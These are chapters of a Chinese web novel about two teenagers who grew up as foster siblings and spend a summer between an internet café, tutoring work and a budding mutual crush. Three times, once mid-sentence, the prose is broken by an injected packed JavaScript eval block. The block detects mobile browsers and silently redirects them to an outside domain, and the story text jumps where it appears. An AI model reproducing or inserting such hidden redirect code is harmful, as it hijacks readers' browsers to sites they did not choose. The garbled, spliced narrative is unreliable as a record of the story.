虽说镇上的网吧环境要比以前梅村中学外的那间要好一些,但终究网吧就是网吧,里面空气不流通,来往的人也杂。 陈端在大厅有固定机位,但只要孔净来,他就会挪去半封闭式的卡座区域,两人并排坐一起,两台电脑都开着。 暑假期间,网吧里的人格外多,陈端知道孔净要来,出来接她。 才离开一会儿,再进门,伴着新鲜浓重的烟气就看见几个男男女女站在前台和值班姐姐理论,大意是说里面有空的电脑为什么不让他们用。 “给钱也不行呗?这些!够不够!”为首的寸头男虽然个子矮,但是气场嚣张,叼着烟从钱夹里抽出几张红票子,在桌面上甩出“啪啪”声。 “都说了那两台电脑不是空的,客人提前订了,他出去一趟,很快就……”值班姐姐忽然抬眼看见掀起塑料软门帘进来的人,“陈端,回来啦?” “谢了。”陈端轻点一下头。 “客气什么。”值班姐姐撩了下头发。 前面寸头男和他的同伴们相继转过身,视线先是在陈端身上扫过,紧接着都不约而同在孔净脸上流连。 孔净微微皱眉,她听见陈端说:“去座位上等我,老位置。” 孔净偏头看一眼他清淡侧脸,不妨碍他发挥,转身就走了。 “人不在,坑占着,说的就是你呗?”寸头男把火力对准陈端。 陈端偏身从他们中间穿过,走到前台柜要了两瓶冷饮。 “我哥问你呢,会说话吗?”有人追了句。 陈端拿着前台姐姐递来的饮料,在掌心里来回滚了两下,然后才慢慢抬起眼看向寸头男,“有事?” 寸头男“哟呵”一声,往前顶在陈端面前,视线一偏,忽然看见他整条左手臂上都是凸起的伤疤,有些地方缝针的痕迹依稀可辨。 “……你就是陈端?”寸头男挑了下眉,表情不像刚才那么凶神恶煞了,他抬了抬下巴,“听说你游戏打得很好,我也不赖,咱们组个队有兴趣吗?” “没。” 陈端用其中一瓶饮料瓶抵在寸头男的肩膀上,刚从冷柜里拿出来的,在空调房里很快沁出水珠,稍一使力,瓶底在寸头男的T恤上印下一个淡淡的圆痕。 寸头男咬着烟屁股斜斜瞥一眼,视线再往上挑,忽地对上陈端冷戾双眼,他一愣。 陈端错开身,从他们中间走过。 撩起眼皮,看见半边身子藏在绿丛后面猫腰往这边“偷窥”的孔净。 “不是让你先过去。”陈端几步走来。 “怕你打架没帮手。”孔净从他手上拿走一瓶饮料。 陈端听到“怕你打架”以为这句就该结束了,没想到重点在后面。 平时表情再冷淡的人也忍不住笑了下,“这就叫助纣为虐?” “当然了!” 打架不好,但更加不能接受的是对方受欺凌,这是他们陪伴彼此成长的九年时光里形成的共识。 来都来了,电脑也开着,不娱乐一会儿说不过去。 只是因为孔净不经常使用电脑,打字速度很慢,键盘敲击声间或响起。 陈端中场休息,整个人贴合椅子坐着,一边喝饮料一边欣赏孔净感人的僵尸手法。 孔净做事很专注,没注意旁边陈端越来越明显的笑弧。 屏幕右下方的企鹅图标忽然疯狂闪动。 -孔净孔净!呼叫孔净! -知道你在线!给你两秒立刻回复! -吼! …… 对话框已经被阿禾刷屏,孔净翻了两页才看完她刚发来的全部内容。 -在啦。 孔净回复阿禾。 阿禾嫌弃孔净打字速度,发来视频邀请。 “孔净!哈喽!吼!这么久没联系你都不想我是不是?明明在线还不主动联系我!哼!” 阿禾鼓起腮帮子的圆白小脸出现在屏幕上,她比初中那会儿高了瘦了,身在职高的缘故也追风注重起打扮,头发剪成齐肩长度,拉直染成栗色,配上印有鲜艳卡通图案的大一码T恤和牛仔裤,说话时叠戴着玻璃手串和红绳的手比来比去,灵动又活泼。 “没有啦,刚才在忙。” 这边的电脑摄像头把孔净上半身放进屏幕小框里,相比于对面阿禾的日韩鬼马少女风,孔净穿米黄色净版短袖搭灰色棉质七分裤,因为网吧空调温度调得低,她在外面套了件灰白格子衬衫,发型是万年不变露出额头的高马尾,除了一块桃红色的圆形石英表,没有其他饰品。 是明亮青春的另一种素净呈现方式。 “忙虾米?什么事比我还重、要……咦,陈端也在哦。” 阿禾本来凑镜头挺近,看见这边镜头框柱的除了孔净,旁边还有一个穿深灰衣裤的身影,看不清全脸,只有线条利落的下颌角以及一截冷白脖颈。 阿禾不由得在那边往后面挪了挪,语气也变得正经了一些。 她初中那会儿就觉得陈端性格有一点捉摸不透,石料场事件之后,陈端带伤来学校上课,给人的感觉就更生人勿近了。 之后孔净和陈端搬来临水镇,阿禾和孔净联系频繁,每学期也会抽时间见上好几次,但基本上算是和陈端没有了交集。 虽然从小学算起,阿禾认识陈端也已经九年多,但是随着大家年龄渐长,阿禾越来越明确自己和陈端根本不是一挂的。 确切的说,没有人能和陈端一挂,除了孔净。 更让阿禾如鲠在喉的是,初中那次她在杨皮的威胁下引孔净去文具店,事后她向孔净道歉并且得到原谅,两人友谊如初,但不知道为什么阿禾总觉得事情在陈端这里并没有真的结束。 尽管他什么也没说,什么也没做,但每一次对上他那双不冷不热的黑眸,阿禾就有种被审视的错觉。 这种感觉很不好受,阿禾像是被打上了罪犯的标签,无论她和孔净的关系再怎么好,都永永远远被孔净身边最亲近的人提防着。 阿禾不自在,陈端也没兴趣听女生之间的聊天,他朝孔净晃了下手里已经剩不了多少的饮料瓶,就起身出了卡座。 那头,阿禾看见陈端的身影在镜头前闪过后消失,忍不住跟孔净感慨:“好怀念小学时候的陈端啊,安静可爱小正太~~” “他现在也很好啊。”孔净说。 “是只对你好吧。” …… 两人嘻嘻哈哈地聊了差不多快半小时,后来阿禾摸出手机一看,说有追求者约她出去吃冰就急匆匆挂了。 孔净算是明白什么叫重色轻友。 她随便搜了部电影来看,余光瞥见卡座和过道之间的串珠门帘被两根净白长指分开,转头,陈端带着一身暑气进来。 “去哪儿了?”孔净按了暂停键,仰起的脸还带着被剧情戳中的笑意。 “外面。”陈端把旁边椅子拉开坐下,顺手把拎着的袋子放到孔净这边桌面。 “啊,铜锣烧!这家离很远,你骑车去的吗?”孔净惊讶。 “不远。”陈端点开游戏界面,耳机戴上又扯下来。 聊天框里好多条“大佬你失踪了?”之类催促他上线的消息。 孔净沉浸在电影里,一直没跟陈端说话,但陈端的耳机一直挂脖子上。 后边是感觉旁边的键盘敲击声停了,她转头,发现旁边电脑的屏幕在滚动播放网吧设置的会员充值广告,陈端闭着眼睛斜靠在椅子上,胸口有节奏地上下起伏,像是睡着有一会儿了。 孔净看了眼手表,下午四点多,该走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312023|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她收东西的动作很轻尽量不发出声音,因为陈端觉浅很容易被吵醒。 但是当她侧过身小心拎起挂在椅背后面的书包时,陈端冷不丁睁开眼睛。 冷黑色的瞳仁,四周眼白浮着几根红血丝,刚醒来时视线不聚焦,像两片薄刃。 孔净没继续刚才的动作,盯着他看,“又做梦了?” 陈端听见她的声音,闭上眼睛又睁开,往上坐直些然后才开口,“忘了。” 声线是微微带笑的,尽管他此刻心情并不好。 孔净停了两秒。 以前睡上下铺没发觉,后来同住一个屋,两张床挨得近,房门一关,夜里那么安静,孔净有时会听见陈端在睡梦中剧烈喘息,细听,声音沙哑,断续说着:“去死……你怎么不死……” 最初孔净感觉害怕,查了资料,以为是那年台风天在石料场发生血腥事件造成的创伤性应激后遗症。 有次陈端无意间看见孔净背着人偷摸在看这方面的案例和治疗方案,两个酒窝在脸上格外显眼,他按了一下孔净的头,说:“我心理承受能力没那么弱。” 孔净抬起胳膊拍掉他的手,“那为什么经常做噩梦?你在梦里说的那个……人是谁?” 陈端蹙眉,才知道原来他睡着之后说了梦话。 孔净仰头看他,等一个解释。 但陈端即刻又笑了下,“没谁,你听错了。” 之后,陈端还是时常做噩梦,但再也没让孔净听到任何呓语。 这次也一样。 他佯装云淡风轻。 孔净见他不想说也就不问了。 首次上门家教这天是个阴雨天。 陈端骑车载孔净去云树别苑。 云树别苑远离厂区,位于临水镇靠近海岸线的另一边。 临水镇虽然名义上只是一个镇,但沿海一带经济繁茂,其发达程度和市差不多。 平时只在厂区和清安高中之间来回活动,自行车远离石材厂终年不息的机器运转声,驶上宽阔的柏油路,来到这片干净整洁的商品房区域,孔净才陡然惊觉,原来临水镇还有这样安静漂亮的地方。 自行车停在云树别苑门口,保安问他们找谁。 孔净说明来意,从后座跳下来,撑着伞站在陈端身侧,叮嘱他中午记得吃东西,不要在电脑前面一坐就是一整天。 没听见应声,她略微挑起伞面,顺着陈端的视线,看见斜对着小区门口的一幢白墙红瓦小洋楼,珠帘似的小雨中,一个穿浅白休闲装的润朗身影站在三楼露台上,正抬手朝他们打招呼。 孔净怔了怔,也挥了下手以作回应。 “给孟书宇补课,他打算下学期从初一开始复读?”细雨打湿陈端的额发,他眉眼清淡,说出来的话却自带冷幽默。 “不是啊。”孔净也有些发蒙,“是给一个叫苏苏的小女孩补课。或许,孟学长也碰巧住在这里……吧?” “要我陪你上去吗?”陈端表情还是一贯的温淡,但语气听起来算不得柔和。 “不用啊,你不是还有事要忙。” “好了,进来吧。”正说着,保安大叔打电话向业主核实过后,用遥控器开了旁边的小门。 “谢谢。”孔净向保安大叔道谢,转过头见陈端目光上扬,还在盯着那个站在露台上的人。 “你快走吧,没事啦。”孔净催他。 陈端把手机拿出来插进孔净书包侧兜,“有事给网吧前台打电话,中午我来接你。” “不用这么麻烦,我坐公车……” “等我。” 陈端冷白手掌将龙头方向一转,轮胎轧过地上小水坑,自行车裹挟着潮湿从浓荫下掠过。 “骑慢点——注意安全!”孔净冲着他背影喊。 24. 第 24 章 孔净按照孟书宇之前给的地址,按响5幢305室的门铃,和来开门的人对上视线,她无奈一笑,“学长,我的水平可不够给准大学生补课,而且还是名校准大学生。” 孟书宇考的很好,虽然够不上清北这类顶级名校,但他被上海某所一线学校录取,在清安高中这种普高里已经算是鸡窝里出凤凰。 孟书宇弯腰从鞋柜里拿出一双未拆封的拖鞋,轻轻放在玄关地砖上。 他笑起来很温和,整个人透着一股书卷气,“我倒是愿意学,怕你不愿意教。进来吧,你的学生在里面,是我堂妹。” 孔净手上的伞还在滴水,她有些拘谨地低头往旁边扫了扫,孟书宇很自然地把伞接过来,放在沥水架上。 “谢谢。” 屋里的灯光很明亮,和窗外阴沉的天形成鲜明对比,客厅上方那盏垂挂着几百根流苏灯管的水晶灯耀眼又柔和。 孔净从小住在石材厂里,像这种宽敞又明亮的三室一厅只在电视里见过。 她轻轻吸进一口气,暗自把这种环境差异带来的不适感清除。 孟书宇的堂妹脑袋有点木,但是总体来说还算认真,孔净按照她的节奏把进度调慢。 一上午很快过去,孟书宇过来敲门,笑说订了披萨,请孔净留下一起吃。 “谢谢,不用了,陈端应该在外面等我了。”孔净把东西收进书包,从桌边起身。 “你弟弟?”孟书宇说着往看不见的小区门那头望一眼。 “对。” “我看他今早送完你就走了,很急的样子,是因为今天有比赛吗?” 孔净惊讶,“学长怎么知道?” “我可不是书呆子,平时没事的时候也打游戏。光说打游戏这一块,陈端挺有名。要说长相,就更有名了。”孟书宇温和一笑,“不过他今天有比赛还来送你,只能说你们姐弟俩感情真好。” “还行吧。” 孔净轻轻帮苏苏关上门,示意孟书宇跟自己到玄关这边来一下。 “嗯,孟学长,其实请我当家教有点多此一举,你完全可以帮苏苏补课。你再考虑看看,要不然以后我还是不来了,今天上午就当是我陪苏苏玩。”孔净要是之前就知道苏苏是孟书宇的堂妹,她可能根本不会接单。 孟书宇却说:“我和同学约了过几天出去毕业旅行,哪有时间管小孩。今天是苏苏父母有事出去了,所以我过来帮忙看着。” “这样……” 孔净想了想,考虑到如果再临时去找别的兼职不一定能有这么高的薪酬,于是暂且应下了。 孔净没让孟书宇送,拿了伞自己乘电梯下楼。 跟孟书宇不算熟,在别人家里总归不能完全放松,出了轿厢,她才呼呼吐出一口气,自由露出笑脸。 晃眼看见一个身影从大厅走过,衣服背面印着清安高中的校徽,孔净一愣,“……语珂?” 今天还真是熟人扎堆。 林语珂转过身,比孔净更惊愕,“啊你家变身暴发户,搬来这里了?!” “没有啦。来给孟学长的堂妹补课。没想到学校里住这边的人还挺多。”孔净见她怀里捧一个铝制饭盒,就问,“去外面打的饭吗?附近哪里有餐馆?” “……小区外面就有吧。”林语珂说,“没想到孟学长家这么有钱,住这么好的地方,之前我有见过他坐轿车去学校上课,不知道他家是做什么的。” “你家不也住这里,干嘛羡慕他。”孔净看了眼手表,怕陈端在外面等久了会着急,随口应一句。 “我哪有羡慕……” “先走啦!下回过来如果遇到再找你玩。”孔净偏头看了眼外面的天,看样子雨已经停了有一段时间了。 远远看见那辆烟蓝色自行车斜停在保安亭外,高挺身影正对着小区门,也在朝里面张望,孔净扬一扬手,抓紧书包肩带就跑了过去。 陈端清淡面孔上总算有了一点笑意,他将自行车调了个方向,方便孔净一出来就可以坐上后座。 “等很久了?”孔净照例把书包丢给他。 “刚来。” 车前兜还是湿的,陈端把孔净的书包挂在身前,灰白色装束、温冷气质和亮色系书包怎么看都不搭,但他浑不在意。 孔净从后面高抬手摸到他潮湿发顶,“骗子。” 陈端在前面轻笑一下,白色板鞋在被雨淋湿的地面上轻点,长腿踩动脚踏,自行车便在雨后清新空气中走远。 “家教给你每小时多少?”孔净忽然听见从前面传来陈端冷冷清清的嗓音。 孔净说:“七十。*” 这对孔净来说很多,每次三小时,一周三次,一个月下来就有二千五的收入。 比起当初和阿禾一起去森林采菇,不知要暴利多少倍。 陈端说,“我给你每小时一百,也是每次三小时,每周三次,陪我……” “陪你干什么!”孔净在后面挠他侧腰,“闭嘴啦!干嘛打肿脸充胖子,等你哪天真的成了有钱人再说这种话。” 其实是想让陈端按照自己的计划好好攒钱,不要在她身上乱花,但话说出来却像是带了点讽刺意味。 贫瘠,像一条调皮的小蛇,一直紧追徘徊在他们的生活里,偶尔还会恶作剧咬上他们一口。 陈端静了一瞬,回了个,“嗯。” 孔净抓着陈端衣摆的手紧了些,她说:“不用给小时费,我也可以陪你啊。待会吃完饭我跟你去网吧好了。” “听见没?”她声音甘甜,一边往前伸头,一边隔着衣服面料继续轻挠他侧腰,隐约看见陈端脸上的酒窝现出形状,她又问了句,“听见没?” 腰侧的位置很痒,陈端没忍住,笑了笑,“听见了。” 下午去网吧,孔净没让陈端移去卡座区,她又不上网,去了也是白占位置开着电脑浪费。 网吧有员工休息室和杂物间,陈端是这里的常客,孔净因为他的关系也混了个脸熟,她给值班姐姐送了一小盒提拉米苏,没去打休息室的主意,只央求偶尔用下杂物间。 杂物间不大,不到两平米,不用的键盘、电脑屏堆在地上,积了很厚一层灰,陈端帮忙把东西规整在一边,搬了套旧桌椅进来,孔净坐在桌边看书时,经常能从侧边墙上的小窗,听见那些在网吧后门抽烟的人说各种荤话。 但这对孔净来说没什么,石材厂里的工人叔叔和嬢嬢们说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328064|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比这还要荤,她从小听惯了。 并且,在这里没人打搅,也不会惹李贤梅心烦,安静看书,到点就去叫陈端,坐在自行车后座上和他一起走街串巷,去寻找各种实惠又美味的闽城地道小吃。 孔净下次再去给苏苏补课时,孟书宇真的已经去旅行,后面一段时间没有再出现过。 她因此完全定下心来,在七月中旬到八月初这段时间里,石材厂、网吧、云树别苑三点一线,和陈端一起度过了一段非常安逸的夏日时光。 学校组织的准高三生补课就要开始了,孔净为了答谢值班姐姐准许她使用杂物间,特意又去甜品店买了一盒慕斯蛋糕。 “草莓味呀,你怎么知道我喜欢?”值班姐姐很惊喜,但是倚在前台桌面上,撩着长发发愁道,“我最近在减肥,不能吃甜食。” “为什么要减肥?”孔净真诚道,“莉莉姐你这么漂亮,一点也不胖,这种凹凸有型,是我在现实生活中见过的最理想的身材!” “不是莉莉,是Lily啦!”Lily被孔净哄得心花怒放,她捧着脸,忽然朝孔净勾勾手,“你弟弟多大了?” 孔净说,“十八。” “应该是三十八吧。” “啊?” Lily从电脑里调出一张身份信息,把屏幕对向孔净,“喏,姓名林大奋,出生年月1978年8月……” “……哈哈!” 完蛋,忘了对口供,原来陈端上网用的一直是厂里林叔的证件。 “哎呀安啦,我逗你玩呢!林大奋长得歪瓜裂枣,哪能跟你弟比。只要不瞎,都知道他拿的别人的。”Lily咯咯笑。 孔净挠挠手,“话也不能这么说,林叔其实没那么歪……” Lily才不管林什么叔的,她继续朝孔净勾手指头,做了贴钻的玫色长尖美甲勾啊勾。 “说呀,你弟到底几岁?” 孔净被她勾得嗓子痒,感觉自己像唐僧,“到年底就满十八了。” “那就是还有不到四个月?”Lily美甲勾着自己的长卷发,肩膀轻轻晃来晃去,因为腰部以下都被前台柜挡着,从远一点的视角看就像一只发|情的蛇妖。 孔净有种不祥的预感,想跑来着,被Lily玫色长尖美甲勾住马尾,“你看我像几岁?” 孔净很老实,“十……七?” “啊呀——”Lily简直想捧住孔净的脸亲一口,肩膀晃动的频率一般人学不来,很大可能闪着腰。 “其实我二十二,也是年底才满,算起来只比你弟大四岁,还很嫩对不对?”Lily对着孔净发嗲,“帮姐姐一个忙好不好?” 孔净:“哈哈,不——” “帮我跟你弟说说呗!”Lily眨眼睛。 “未成年人不能谈恋爱。” 孔净很有原则。 Lily:“不谈,先占个名额。” “可是——” “这间网吧我占大股,事成以后按辈分我叫你姐!以后杂物间都给你用,你和你弟上网全免费,饮料零食随便吃。怎么样?不够~再加码!” “……” 孔净轻轻咽了一下口水。 25. 第 25 章 孔净最近总是乱眨眼睛,偶尔在做题时还会盯着卷子不自觉抿嘴笑。 晚上趴在床上看书时也会偷摸转过脸,一双澄澈猫咪眼目光擦过半拉的帘子,悄咪咪盯着另一张床上的人。 陈端没有吹头发的习惯,洗完澡随便用干毛巾擦两下就算完事,潮湿额发低垂,静明视线看似落在画册上,实则早就被另一边的人牵引心神。 说不上来,总觉得孔净看他的眼神不太对,是……欣赏吗? 意识到这点,陈端有些不自在。 平时在外面被各种目光注视惯了,他从来没当回事。 但孔净不一样。 陈端不知道怎么想的,冷白长指握着画笔微微收紧力道,靠着枕头窝在床头的身体不自觉往上抻了几分。 看上去更挺拔,更似雪松。 余光轻转,果然看见那双猫咪眼比先前睁得更大了些,白炽灯映在其中,比夜晚的星星还要亮。 陈端顿了下,还真是? 过了几秒,散漫屈起的长腿也伸直了些,后背虚靠着枕头挪移,一点一点,很不经意的。 隔壁床传来女孩子的轻轻吸气声,陈端长指捏着画笔,收到来自孔净的鼓励。 虽然内心并不情愿,身体却很诚实:上半身和屈起的长腿呈四十五度角最佳,两条腿不要靠太拢,另一条腿应该平放,脚踝最好越过床板悬空,脚尖——脚尖做不到绷直…… “陈端!”单人床吱呀呀响,孔净一个骨碌青蛙姿势由趴改为坐,她感叹道,“你是真的长得很好看啊!” 老式摇头风扇吹动挡帘,也吹起少年半湿额发,脸侧的热气却反方向聚集。 孔净伸长脖子,惊讶,“你耳朵怎么红了?” 笔尖在画册上一顿,少年若无其事地翻过一页,嗓音一如既往的淡,“被蚊子咬了吧。” “嗯?花露水在我这,sixgod,要用吗?”孔净动作很快,左右瞄一眼,一手撑在床沿,另一手伸长探下身去够放在床底收纳箱里的绿瓶子。 “……不用。” 孔净骨架小,夏天图凉快,买的绵绸短袖套装又偏大,松松挂在身上像云朵一样轻盈又舒服。 坐着站着走动时,都很妥帖,但有时在床上趴着,或者像现在这样坐在高处往低处探身,本就大一号的宽松圆领往重力方向垂坠,两截锁骨斜斜挑起,中间连接处形成一个低洼,一缕绸缎般的黑发随着她的动作滑进领口,擦蹭在牛奶状的细腻皮肤上,伸向领口以下被面料半遮半掩的白色文胸边缘。 “啪!” 陈端触电一样转过头,画册掉在床板上,起身的动作太快,双脚直接踩在地上。 没有贴瓷砖的水泥地面容易沁水,很凉,可是他皮肤滚烫,被他踩着的那一小块地方都要融化了。 “你去哪里?”孔净把绿瓶子放回原位,直起身,抬手拢了拢不听话的长发。 “不去哪。”喉咙也像被烫伤,发出来的声音喑哑低沉,滚过耳际,是连他自己都能感觉到的鼓胀。 “哦。” 孔净挠挠手,她一般在心虚、紧张、尴尬的时候会不自觉做这个动作。 “那个……” 难以启齿。 “就是……” 真不是因为无限上网和免费零食。 “啊!受不了了!”孔净眼睛一闭,“你排斥姐弟恋吗?!” 一秒,两秒,三秒…… 房间里静得只有老式风扇的转动声,咔,咔咔! 不用看,用毛孔都能感知到一种风雨欲来的气息。 孔净屏息悄悄撩起一边眼皮,隔着挡帘和单人床,少年背对着站在原地,背影又僵又烈,白玉钢板一样无声冒起火星,烧。 孔净吓了一跳,“我的意思是——” 少年忽然转过身,额发下,那双一贯静淡如水的黑眸像被浇了一瓢热油,滋啦滋啦,滚水四溅。 “你,再说一遍。” 陈端的声音很低哑,是那种小说里描写的磁性。 一种无言的张力在声线里紧绷,拉扯。 狭窄封闭的房间被这种张力充斥,瞬间变得逼仄。 孔净愣神和他视线撞击,好像也被感染,心跳鼓荡起来,脸颊也有点烧。 老式风扇继续转动着,一阵热风袭来,发梢拂过脖颈,有点痒,像被冷白指尖掠过的痒。 孔净被这个念头惊了一下,她抓起刚才随手放在床上的书,快速在脸色扇动着,猛烈撞击的两道视线被打乱,她笑呵呵地说:“啊,就是Lily姐,网吧前台也是老板,你跟她应该很熟了吧?她问我你喜、喜欢哪种类型……” 救命。 怎么又不说话了? 一秒,两秒,三秒…… 老式风扇也卡壳了吗? 倒是转啊。 孔净又开始挠手,目光到处虚瞟。 “所以,你刚才……是帮她问的?” 少年的声音一下变得冷淡,像是被兜头浇了一场冷雨,整个房间也凉飕飕的。 孔净转过脸,见他眼神冷清又乖张,还有淡淡的厌色。 “……嗯呐。” 孔净硬着头皮点头。 耳边擦过一声气音,孔净太熟悉这代表什么了。 完了,生气了。 “我可以理解成,你在帮她追我吗?” 人就是不能做亏心事,受良心谴责是一方面,被当事人无情审视更要命。 平时只觉得陈端长得高,不利于挠他后脑勺,现在,一米八五出头的少年掐腰站在面前,居高临下的姿态,顶上的白炽灯也被他遮蔽了,孔净本来是盘腿坐,被他看着看着,不知道怎么就变成了抱着膝盖。 “哈哈,没到追的程度啦。就是……”孔净顶着陈端“听你编”的目光,嘴硬道,“就是帮忙问问。” 孔净骨子里有逆反的一面,但是得被逼到某种程度才会爆发。 比如现在,不就是帮忙问一下吗?又没有下药打晕推你入洞房,什么眼神啊! 孔净清了下嗓子,哪里料到陈端先发制人,“她给你什么好处?” 孔净:………… 朝夕相处快十年,对方什么德行都再清楚不过。 孔净就算梗起脖子硬表现自己清白得很,也轻易被陈端看穿。 他表情冷得像冰,里内却像上了气的高压锅,把别人冻死的同时把自己气炸。 孔净听见他又发出一道气音,然后就看见他往门口走去,正要松一口气,这人忽然转过身,高挺身影直接往她这个方向来。 “……你干嘛? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340232|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我跟你说,你要是敢像赵长一样没大没小看我怎么收拾——哦,穿……鞋啊?” 从前在石厝睡上下铺,两人的拖鞋总是摆摆正,隔着一小段距离平行放在床前。 到了这边,各睡一张单人床,孔净的床紧靠窗户,拖鞋只能摆在中间的过道,对陈端来说,进门就上床,鞋子放在那一侧应该更方便,可他每次总是多走几步绕到这边,浅灰色拖鞋和孔净的粉黄色印花拖鞋尖对尖,要挨不挨地放。 孔净看见他赤着脚踩在水泥地上走来,和她睡衣同面料不同色的灰白长裤轻轻拂过脚背,几根狭长足筋在冷白脚面上微微凸起,似晴时飞机越过长空留下的白色尾迹。 陈端穿上拖鞋并没急着走,而是站在床边,以更近的距离垂眼看着孔净——几秒前还梗脖瞪眼捏起拳头跃跃欲试的人。 “你最开始问我什么?”陈端停顿一下,语气冷清得很,“排不排斥姐弟恋?” 孔净手不动腿不动只有眼睛慢慢往上挑,“好了,这个问题略过,我已经知道答案了。” “你知道?”陈端今天晚上属蛙的,一肚子气,不然怎么第三次发出气音。 他冷笑道:“我不仅不排斥,还只喜欢姐弟恋,你知道?” ! 孔净连眼睛也不动了,浅咖色瞳仁里有什么东西“嘭”地一下炸开,陈端以为是惊吓,如果是,也还好点,但—— “所以你是有喜——” 是惊喜。 陈端根本没听她把话说完,以防真的被气炸,直接转头走人。 长指握住门把手,手背上青筋暴起,可他做不出来,关上门的动作还是很轻。 “什么嘛。”孔净看着漆面不平的廉价木门,电风扇吱吱转动,落在肩头的长发被风吹起,扑在脸颊上。 她抬手拨了拨,指尖碰到脸颊惊觉怎么这么烫。 “哈,肯定是被陈端气的!”孔净四仰八叉往床上一趟。 “居然只喜欢姐弟恋……” “哇,好劲爆。” “……那到底,Lily姐……?” 孔净一顿胡思乱想,梦里Lily承诺的零食饮料在货架上跳上跳下,全部长出贴了水钻的玫红长尖美甲,朝她勾勾勾。 有点吓人。 孔净在梦里抖了抖,迷蒙中睁开一条眼缝,月光从窗户斜照进来,一个灰淡人影俯身立在她的床边,应该觉得害怕才对,但是仅仅凭借气息就知道他是谁。 “……你怎么还不睡?” 孔净迷迷糊糊说了这么一句,似乎还抬了下手,指尖顺着他覆满伤痕的小臂垂落,温热又鲜活。 孔净翻了个身,又睡着了。 这次梦见的不是Lily和她的豪华网吧,而是那年的台风天。 风好大,雨也好大。 窗外的黄葛树都被连根拔起,锈红色烟囱挣脱不锈钢绳斜倒在石厝屋顶上。 奇异的是石厝没有塌,铁门“吱呀”一声被一双湿漉漉的冷白手掌推开,少年走进屋子,带来潮气和淡淡的铁锈味。 是血。 可是他把左边手臂藏在身后,低垂着眉眼,嗓音一如既往的清淡和无所顾忌,他说:“没事,我不痛。。” 早晨醒来,孔净感觉嗓子有点堵,睁着眼睛缓了好一会儿。